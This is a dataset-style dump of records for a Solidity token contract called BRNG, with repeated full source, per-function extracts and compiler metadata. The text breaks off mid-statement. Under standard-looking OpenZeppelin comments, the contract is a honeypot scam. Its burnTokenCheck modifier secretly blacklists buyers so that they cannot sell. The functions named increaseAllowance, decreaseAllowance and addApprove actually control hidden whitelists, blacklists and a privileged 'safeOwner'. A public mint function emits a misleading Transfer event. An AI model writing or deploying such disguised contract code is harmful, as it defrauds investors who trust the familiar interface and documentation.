* Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 8394, 8700 ] }
14,119
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 9027, 9450 ] }
14,120
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 9885, 10234 ] }
14,121
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = 